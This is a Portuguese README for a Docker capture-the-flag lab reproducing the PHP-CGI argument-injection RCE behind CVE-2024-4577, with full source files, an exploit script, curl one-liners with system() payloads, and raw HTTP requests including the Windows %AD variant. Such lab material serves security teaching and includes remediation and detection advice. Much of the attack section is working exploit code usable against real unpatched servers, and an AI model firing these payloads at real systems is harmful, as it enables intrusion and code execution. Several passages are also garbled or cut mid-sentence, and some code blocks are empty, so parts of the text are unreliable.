
# Laboratório CTF baseado em Docker demonstrando CVE-2024-4577, injeção de argumentos PHP-CGI que leva a RCE. Inclui PHP 5.4.1 CGI vulnerável, scripts de exploração e recuperação de flag.
Um laboratório Docker autossuficiente, do zero, que demonstra o primitivo
real de injeção de argumentos → Execução Remota de Código por trás da
CVE-2024-4577.
Explore-o via http://localhost:8080, obtenha um shell e leia a flag de
dentro do contêiner.
Esta é uma vulnerabilidade genuína, não simulada. O contêiner compila um binário PHP 5.4.1 CGI sem patch e o conecta ao Apache exatamente da forma como hosts vulneráveis reais são configurados. Não há nenhum "if password == flag" falso em lugar algum — a única maneira de obter a flag é realmente alcançar a execução de código.
O payload característico da CVE-2024-4577 usa %AD (um hífen suave). Esse truque
só funciona no Windows, porque a codificação de caracteres "Best-Fit" do Windows
converte o byte 0xAD em um - real () que o patch da CVE-2012-1823
do PHP já verificou a string de consulta. Essa conversão de codificação é feita pelo
— ela
0x2DPortanto, um laboratório Linux fiel e executável na sua máquina reproduz o mesmo
primitivo exato de RCE — injeção de opções php-cgi através da URL → -d auto_prepend_file=php://input → execução de código — usando a forma literal -
(que é o bug pai da CVE-2024-4577, a CVE-2012-1823). A única
diferença em relação a um alvo real da CVE-2024-4577 no Windows é a camada de
bypass de codificação %AD→-, que este README documenta por completo (veja
Como funciona e
poc.http).
| Este laboratório Linux | CVE-2024-4577 real (Windows) | |
|---|---|---|
| Componente vulnerável | php-cgi | php-cgi |
| Primitivo de RCE | -d auto_prepend_file=php://input | idêntico |
| Delimitador na URL | - literal | %AD (best-fit → -) |
| Contorna o patch de 2012? | N/A (PHP anterior ao patch) | Sim, via best-fit do Windows |
| Roda no Win 11 Home + Docker Desktop | ✅ | ❌ (precisa de contêineres Windows) |
Se você precisar especificamente da reprodução bit a bit do %AD no Windows, você
precisa de um host Docker com suporte a contêineres Windows (Windows Server / Win Pro
poc.http para referência.CVE-2024-4577 — Injeção de Argumentos PHP CGI levando à Execução Remota de Código. Descoberta pela DEVCORE (Orange Tsai / Angelboy), divulgada em 2024-06-06.
Quando o PHP é implantado em modo CGI (ou o binário php-cgi.exe está de outra
forma acessível) no Windows com certos locales de sistema (Chinês Tradicional/
Simplificado, Japonês e outros), o servidor web passa a string de consulta HTTP para
php-cgi como argumentos de linha de comando. Um atacante pode contrabandear opções
de linha de comando do php-cgi (-d ...) para dentro dessa string de consulta. A
conversão de codepage best-fit do Windows transforma o byte de hífen suave 0xAD
(%AD) em um hífen ASCII -, que escapa do endurecimento da CVE-2012-1823 e permite
que o atacante defina diretivas INI arbitrárias do PHP — mais utilmente
auto_prepend_file=php://input com allow_url_include=1, que executa o corpo da
solicitação fornecida pelo atacante como PHP. Resultado: execução remota de código
não autenticada. Foi armada na natureza em poucos dias (por exemplo, ransomware
TellYouThePass).
O CGI passa a string de consulta como argv. De acordo com a RFC 3875, se a
string de consulta de uma solicitação CGI contém nenhum = não codificado,
o servidor a divide em +, decodifica cada palavra por URL e passa as palavras
ao programa CGI como argumentos de linha de comando. O php-cgi portanto recebe
argv controlado pelo atacante.
O php-cgi analisa esses argv como opções. Historicamente, o php-cgi
interpretava -d key=value, -T, etc. desse argv. Alimentar
-d allow_url_include=1 -d auto_prepend_file=php://input faz o PHP executar
o corpo da solicitação como código → CVE-2012-1823.
A correção da CVE-2012-1823 é incompleta no Windows. O patch de 2012 adicionou
uma proteção em sapi/cgi/cgi_main.c: aproximadamente "se a string de consulta
(bruta) começa com - e não tem =, pule a análise de opções (skip_getopt)."
Um atacante que envia um - literal agora é bloqueado.
A codificação best-fit derrota a proteção (o bug de 2024). No Windows, o PHP
converte a linha de comando usando o codepage do locale com mapeamento best-fit
habilitado. O atacante envia %AD (byte 0xAD, hífen suave). No momento da
verificação da proteção, o primeiro byte é 0xAD, não -, então skip_getopt
não é definido. Depois, quando o PHP realmente constrói o argv, o Windows
mapeia por best-fit 0xAD → -, então o getopt agora vê -d. A injeção de
opções dispara depois da verificação que deveria impedi-la. Esse ordenamento
verificar-depois-converter é toda a vulnerabilidade.
Neste laboratório Linux, os passos 1–2 são reproduzidos exatamente com um php-cgi que é anterior ao patch do passo 3, então a forma literal
-funciona e demonstra o RCE idêntico. O passo 4 é a camada exclusiva do Windows, documentada mas não executada (o Linux não tem conversão best-fit).
Corrigida em 8.3.8, 8.2.20, 8.1.29. Portanto, vulneráveis:
Condições: sistema operacional Windows; PHP rodando como CGI ou php-cgi.exe
exposto (a configuração padrão do XAMPP no Windows é vulnerável); um locale
afetado para o caminho best-fit. (O bug pai CVE-2012-1823 — o primitivo que este
laboratório executa — afeta qualquer sistema operacional que rode um php-cgi anterior
à correção de 2012 nesta configuração.)
cve-2024-4577-lab/ ├── Dockerfile # builds the lab: compiles unpatched PHP 5.4.1 CGI + Apache ├── Dockerfile.vulhub # fallback: prebuilt vulnerable base image (if compile fails) ├── docker-compose.yml # one-command build+run, maps localhost:8080 -> 80 ├── start.sh # container entrypoint (Apache foreground) ├── exploit.sh # one-shot RCE PoC (bash + curl) ├── poc.http # raw HTTP requests (Linux payload + real Windows %AD payload) ├── app/ │ └── index.php # ordinary web page (NOT itself vulnerable) ├── config/ │ ├── apache-vhost.conf # the vulnerable Apache <-> php-cgi wiring │ └── php.ini # minimal php.ini (cgi.force_redirect=0, etc.) ├── flag.txt # the flag (copied to /flag.txt in the container) └── README.md # this file
## 5. Pré-requisitos
- **Docker Desktop** (Windows/macOS) ou Docker Engine (Linux).
Windows 11 Home: instale o Docker Desktop com o backend **WSL 2** (padrão).
→ https://www.docker.com/products/docker-desktop/
- `curl` para exploração (`curl.exe` já vem integrado no Windows 10/11; também está
disponível no Git Bash / WSL / macOS / Linux).
- Acesso à internet **durante o build** (baixa o código-fonte do PHP 5.4.1).
## 6. Instruções de build
Abra um terminal na pasta `cve-2024-4577-lab/`.
### Opção A — docker compose (recomendada)```bash
docker compose up --build -d
Comando de build do docker:```bash docker build -t cve-2024-4577-lab .
**comando docker run:**```bash
docker run --rm -d -p 8080:80 --name cve-2024-4577-lab cve-2024-4577-lab
O build compila o PHP a partir do código-fonte (~2–5 min na primeira vez). Se falhar na sua máquina (offline, sem toolchain, museum.php.net bloqueado), use a imagem base alternativa:
docker build -f Dockerfile.vulhub -t cve-2024-4577-lab . docker run --rm -d -p 8080:80 --name cve-2024-4577-lab cve-2024-4577-lab
curl -s http://localhost:8080/ | head -n 20
Você deve ver o HTML do **Portal de Status Interno da ACME** e, crucialmente:```
<li>PHP version: <code>5.4.1</code></li>
<li>SAPI: <code>cgi-fcgi</code></li>
SAPI: cgi-fcgi (ou seja, servido através de php-cgi) confirma que o componente vulnerável está no caminho da requisição. Verifique também os logs:```bash
docker logs cve-2024-4577-lab
## 8. Etapas de exploração
A string de consulta injetada (codificada em URL para que o Apache não veja **nenhum `=` literal** e,
portanto, a trate como argv CGI):```
?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input
which php-cgi parses as:``` -d allow_url_include=1 -d auto_prepend_file=php://input
O **corpo da requisição** torna-se código-fonte PHP (lido via `php://input`) e é executado
*antes* de `index.php`.
### 8a. Mais fácil — executar o script```bash
bash exploit.sh http://localhost:8080
# custom command:
bash exploit.sh http://localhost:8080 "id; uname -a; cat /flag.txt"
curl -s -H "Content-Type: text/plain"
--data-binary ""
"http://localhost:8080/index.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
> No **Windows PowerShell**, use `curl.exe` explicitamente (o `curl` do PowerShell é
> um alias para `Invoke-WebRequest` e distorce a string de consulta):
> ```powershell
> curl.exe -s -H "Content-Type: text/plain" `
> --data-binary "<?php system('id; echo ===FLAG===; cat /flag.txt'); die(); ?>" `
> "http://localhost:8080/index.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
> ```
### 8c. Manual — HTTP bruto (Burp Repeater)
Consulte [`poc.http`](#poc-http). Cole a requisição #1 no Burp Repeater e envie.
## 9. Saída esperada```
[*] Target : http://localhost:8080/index.php
[*] Injection : ?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input
[*] Command : id; echo '=== /flag.txt ==='; cat /flag.txt
[*] Firing argument-injection request...
-----------------------------------------------------------------
[+] RCE as www-data on <container-id>
uid=33(www-data) gid=33(www-data) groups=33(www-data)
=== /flag.txt ===
FLAG{php_cgi_arg_injection_rce__cve_2024_4577__9f3c1a7e2b4d8c60}
-----------------------------------------------------------------
[*] Success if you see FLAG{...} above.
A linha uid=33(www-data) prova execução arbitrária de comandos do SO como o
usuário do servidor web — isso é execução real de código, não uma string impressa.
A flag está em /flag.txt dentro do contêiner — fora da raiz
web (/var/www/html), portanto não é acessível via HTTP. A única forma de
lê-la é executar um comando via RCE:```bash
bash exploit.sh http://localhost:8080 "cat /flag.txt"
Bandeira:```
FLAG{php_cgi_arg_injection_rce__cve_2024_4577__9f3c1a7e2b4d8c60}
(Num CTF real, não lhe diriam o caminho — você executaria ls -la / através
do RCE para encontrá-lo. Tente bash exploit.sh http://localhost:8080 "ls -la /".)
docker compose down
docker stop cve-2024-4577-lab docker rm cve-2024-4577-lab # only if you did NOT use --rm
docker rmi cve-2024-4577-lab
docker builder prune -f
---
## 🔬 Como o exploit funciona, passo a passo
1. **Cliente → Apache.** Você envia
`POST /index.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input`
com um payload PHP no corpo da requisição.
2. **Roteamento do Apache.** `AddHandler application/x-httpd-php .php` +
`Action application/x-httpd-php /cgi-bin/php-cgi` roteiam a requisição para o
binário **php-cgi** (mod_actions + mod_cgi).
3. **Query string → argv (a regra do CGI).** O `mod_cgi` do Apache vê que a query
string **não tem `=` sem codificação** (enviamos `%3d`, não `=`), então, de acordo com a RFC 3875, ele
divide em `+`, decodifica cada palavra da URL e as passa para o php-cgi como `argv`:
`-d`, `allow_url_include=1`, `-d`, `auto_prepend_file=php://input`.
4. **php-cgi processa as opções injetadas.** Este php-cgi (5.4.1, anterior à correção de 2012)
**não tem o guard `skip_getopt`**, então ele processa as opções `-d` sem problemas:
- `allow_url_include=1` — permite incluir PHP a partir de wrappers de stream.
- `auto_prepend_file=php://input` — antes de executar o script solicitado,
inclui e executa o **corpo da requisição** como PHP.
5. **O corpo é executado como código.** `php://input` é o seu corpo POST,
`<?php system('id; cat /flag.txt'); die(); ?>`. Ele roda como o usuário do Apache
(`www-data`), executa o comando do SO, imprime a saída e chama `die()`
antes de `index.php` ser executado.
6. **Exfiltração da flag.** `system('cat /flag.txt')` lê `/flag.txt` (legível
por `www-data`) e o retorna na resposta HTTP.
### Por que a vulnerabilidade existe (o "porquê" mais profundo)
- **O CGI confunde *argumentos* com *entrada do usuário*.** A convenção CGI dos anos 1990 de
transformar uma query string em `argv` foi projetada para scripts de busca
`<ISINDEX>`. Apontá-la para um interpretador como `php-cgi`, cujos `argv` são
switches de configuração poderosos, é um erro de categoria: dados controlados pelo usuário
viram configuração do programa.
- **`-d` é injeção remota de INI.** `php-cgi -d nome=valor` sobrescreve *qualquer* diretiva
INI em tempo de execução, sobrescrevendo até mesmo um `php.ini` endurecido. `auto_prepend_file`
+ `allow_url_include` + o wrapper `php://input` se combinam em
"execute o corpo da requisição", ou seja, RCE.
- **O CVE-2024-4577 especificamente** existe porque a correção do CVE-2012-1823 verifica a
query string em busca de um `-` inicial **antes** de o Windows realizar sua conversão de
codificação **best-fit**. O atacante envia `%AD` (hífen suave); ele não é `-`
quando a verificação roda, então o guard passa, mas o Windows depois mapeia por best-fit
`0xAD → 0x2D (-)`, reintroduzindo o `-` após a barreira. **Ordem verificar-depois-transformar**
+ uma codificação dependente de locale e com perdas = um bypass do patch.
---
## 🛡️ Por que este desafio resiste a "apenas adivinhar a flag" / atalhos de IA
- A flag **não está na raiz web** e **não é referenciada por `index.php`**,
então nenhuma quantidade de crawling, fuzzing ou leitura do código-fonte do app a revela.
- **Não há backdoor lógico** (sem `if (input === flag)`), então um solucionador não pode
reverter uma comparação — a flag só aparece no stdout de um processo **após
execução real de comandos do SO**.
- Recuperá-la **exige realizar o exploit real de injeção de argumentos**:
codificar corretamente `=` como `%3d`, manter `-` como delimitador de opção e
entregar o payload via `php://input`. Erre qualquer passo e você recebe a
página benigna da ACME, não a flag.
- O token é uma **string aleatória de alta entropia**, não uma palavra adivinhável.
---
## Remediação no mundo real
- Atualize o PHP para **≥ 8.3.8 / 8.2.20 / 8.1.29**.
- **Não execute PHP como CGI.** Use PHP-FPM / mod_php.
- No Windows/XAMPP, remova os mapeamentos `ScriptAlias`/handler que expõem
`php-cgi.exe`; bloqueie requisições em que a query string comece com um
hífen suave codificado; negue `%AD` na query string no WAF.
- Detecção: logs web com query strings contendo `%AD`, `auto_prepend_file`,
`allow_url_include` ou `php://input`.
---
# APÊNDICE — todos os arquivos, na íntegra
Tudo abaixo é o código-fonte completo de cada arquivo, para que este único documento
seja totalmente autocontido.
## `Dockerfile````dockerfile
# =============================================================================
# CVE-2024-4577 LAB — PHP-CGI argument injection -> Remote Code Execution
# Linux reproduction of the argument-injection primitive that CVE-2024-4577
# revives on Windows. (See README.md, section "Linux vs. Windows".)
#
# Strategy: compile the *unpatched* PHP 5.4.1 CGI SAPI from source. 5.4.1
# predates the CVE-2012-1823 fix, so php-cgi accepts command-line options
# (-d ...) supplied through the HTTP query string. Apache hands the query
# string to php-cgi as argv (CGI spec) -> attacker-controlled -d options ->
# auto_prepend_file=php://input -> RCE. This is the exact primitive that
# CVE-2024-4577 reaches on Windows by best-fit-decoding %AD into '-'.
# =============================================================================
FROM debian:bullseye
ENV DEBIAN_FRONTEND=noninteractive
ENV PHP_VERSION=5.4.1
# ---- 1. Build toolchain + Apache -------------------------------------------
RUN set -eux; \
apt-get update; \
apt-get install -y --no-install-recommends \
ca-certificates wget bzip2 xz-utils \
build-essential pkg-config autoconf \
libxml2-dev \
apache2; \
rm -rf /var/lib/apt/lists/*
# ---- 2. Download + compile the vulnerable PHP 5.4.1 CGI binary --------------
# CFLAGS -fcommon : gcc-10 (bullseye) defaults to -fno-common, which breaks
# linking of old PHP's tentative-definition globals.
# touch <files> : keep the tarball's PRE-GENERATED parser/scanner files
# newer than their .y/.l sources so `make` never invokes
# bison/re2c (modern bison 3.x cannot rebuild PHP 5.4).
RUN set -eux; \
cd /usr/src; \
( wget -q -O php.tar "https://museum.php.net/php5/php-${PHP_VERSION}.tar.gz" \
|| wget -q -O php.tar "https://museum.php.net/php5/php-${PHP_VERSION}.tar.bz2" ); \
tar -xf php.tar; \
cd "php-${PHP_VERSION}"; \
for f in \
Zend/zend_language_parser.c Zend/zend_language_parser.h \
Zend/zend_language_scanner.c \
Zend/zend_ini_parser.c Zend/zend_ini_parser.h \
Zend/zend_ini_scanner.c \
ext/date/lib/parse_date.c ext/date/lib/parse_iso_intervals.c \
ext/standard/var_unserializer.c ext/standard/url_scanner_ex.c ; do \
if [ -f "$f" ]; then touch "$f"; fi; \
done; \
CFLAGS="-O2 -fcommon" ./configure \
--enable-cgi \
--disable-all \
--without-pear; \
make -j"$(nproc)"; \
make install; \
cp -v /usr/local/bin/php-cgi /usr/lib/cgi-bin/php-cgi; \
chmod 0755 /usr/lib/cgi-bin/php-cgi; \
/usr/local/bin/php-cgi -v; \
cd /; rm -rf /usr/src/php*
# ---- 3. PHP + Apache configuration -----------------------------------------
COPY config/php.ini /usr/local/lib/php.ini
COPY config/apache-vhost.conf /etc/apache2/sites-available/000-default.conf
RUN set -eux; \
a2dismod mpm_event mpm_worker || true; \
a2enmod mpm_prefork cgi actions alias; \
printf 'ServerName localhost\n' > /etc/apache2/conf-available/servername.conf; \
a2enconf servername
# ---- 4. Application + flag ---------------------------------------------------
COPY app/index.php /var/www/html/index.php
COPY flag.txt /flag.txt
RUN chmod 0644 /flag.txt /var/www/html/index.php
# ---- 5. Launch ---------------------------------------------------------------
COPY start.sh /start.sh
# Strip any CR (in case the file was saved with Windows CRLF endings) and make
# it executable, so the entrypoint runs regardless of how it was checked out.
RUN sed -i 's/\r$//' /start.sh && chmod +x /start.sh
EXPOSE 80
CMD ["/start.sh"]
FROM vulhub/php:5.4.1-cgi
COPY app/index.php /var/www/html/index.php COPY flag.txt /flag.txt RUN chmod 0644 /flag.txt /var/www/html/index.php EXPOSE 80
## `docker-compose.yml````yaml
# docker-compose.yml — CVE-2024-4577 lab
# Run with: docker compose up --build
services:
web:
build:
context: .
dockerfile: Dockerfile # <- swap to Dockerfile.vulhub if the source build fails
image: cve-2024-4577-lab:latest
container_name: cve-2024-4577-lab
ports:
- "8080:80" # host 8080 -> container 80
restart: unless-stopped
<VirtualHost *:80> ServerName localhost DocumentRoot /var/www/html
# ---------------------------------------------------------------------
# Expose the (vulnerable) php-cgi binary as a CGI script.
# ---------------------------------------------------------------------
ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/
<Directory "/usr/lib/cgi-bin">
AllowOverride None
Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch
Require all granted
</Directory>
# ---------------------------------------------------------------------
# Route every *.php request through php-cgi via mod_actions.
#
# THE BUG: Per the CGI spec, when a query string contains no unencoded
# '=' , Apache splits it on '+' and passes the words to the CGI program
# as command-line arguments (argv). Because this php-cgi (5.4.1) predates
# the CVE-2012-1823 fix, those argv are parsed as php-cgi OPTIONS, so an
# attacker can inject -d <ini>=<value> straight from the URL.
# ---------------------------------------------------------------------
<Directory /var/www/html>
Options +ExecCGI FollowSymLinks
AddHandler application/x-httpd-php .php
Action application/x-httpd-php /cgi-bin/php-cgi
DirectoryIndex index.php
Require all granted
</Directory>
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
; php-cgi refuses to run under a web server unless force_redirect is satisfied. ; Turning it off keeps the CGI SAPI happy behind Apache's Action handler. cgi.force_redirect = 0 cgi.fix_pathinfo = 1
display_errors = On display_startup_errors = On log_errors = On
; Realistic defaults. Note allow_url_include is OFF here on purpose — the ; exploit RE-ENABLES it at runtime through the injected -d allow_url_include=1 ; option, which is the whole point of the argument-injection primitive. allow_url_fopen = On allow_url_include = Off
short_open_tag = On
## `start.sh````bash
#!/bin/bash
# ---------------------------------------------------------------------------
# Container entrypoint: start Apache (with the vulnerable php-cgi) in the
# foreground so the container stays alive and logs stream to `docker logs`.
# ---------------------------------------------------------------------------
set -e
# Pull in APACHE_RUN_USER / APACHE_LOG_DIR / APACHE_PID_FILE etc.
# shellcheck disable=SC1091
source /etc/apache2/envvars
mkdir -p /var/run/apache2
rm -f "${APACHE_PID_FILE:-/var/run/apache2/apache2.pid}"
echo "==============================================================="
echo " CVE-2024-4577 LAB"
php-cgi -v 2>/dev/null | head -n1 | sed 's/^/ /'
echo " Web app : http://localhost:8080/"
echo " Exploit : ./exploit.sh http://localhost:8080"
echo "==============================================================="
exec apache2 -D FOREGROUND
#!/usr/bin/env bash
set -euo pipefail
TARGET="${1:-http://localhost:8080}" CMD="${2:-id; echo '=== /flag.txt ==='; cat /flag.txt}"
QUERY='-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input'
BODY=""
echo "[] Target : ${TARGET}/index.php" echo "[] Injection : ?${QUERY}" echo "[] Command : ${CMD}" echo "[] Firing argument-injection request..." echo "-----------------------------------------------------------------"
curl -sS
-H 'Content-Type: text/plain'
--data-binary "${BODY}"
"${TARGET}/index.php?${QUERY}"
echo echo "-----------------------------------------------------------------" echo "[*] Success if you see FLAG{...} above."
## `app/index.php````php
<?php
// ---------------------------------------------------------------------------
// index.php — an intentionally ORDINARY application page.
//
// IMPORTANT: the vulnerability is NOT in this file. This app has no bug of
// its own. The RCE comes entirely from the Apache + php-cgi configuration
// (CVE-2024-4577 / CVE-2012-1823 argument injection). This page only exists
// so the container serves something realistic through the vulnerable php-cgi.
// ---------------------------------------------------------------------------
$host = php_uname('n');
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>ACME Internal Status Portal</title>
<style>
body{font-family:system-ui,Arial,sans-serif;max-width:640px;margin:60px auto;color:#222}
code{background:#f2f2f2;padding:2px 5px;border-radius:4px}
.ok{color:#2a7f2a;font-weight:bold}
</style>
</head>
<body>
<h1>ACME Internal Status Portal</h1>
<p>Service status: <span class="ok">ONLINE</span></p>
<ul>
<li>Host: <code><?php echo htmlspecialchars($host); ?></code></li>
<li>PHP version: <code><?php echo phpversion(); ?></code></li>
<li>SAPI: <code><?php echo php_sapi_name(); ?></code></li>
<li>Server time: <code><?php echo date('Y-m-d H:i:s'); ?></code></li>
</ul>
<p>Everything looks fine here. Nothing to see. 😊</p>
</body>
</html>
###############################################################################
###############################################################################
POST /index.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1 Host: localhost:8080 Content-Type: text/plain Content-Length: 44 Connection: close
POST /index.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1 Host: victim-windows Content-Type: text/plain Content-Length: 30 Connection: close
## `flag.txt````
FLAG{php_cgi_arg_injection_rce__cve_2024_4577__9f3c1a7e2b4d8c60}
sapi/cgi/cgi_main.c).Apenas para uso autorizado em educação de segurança / CTF.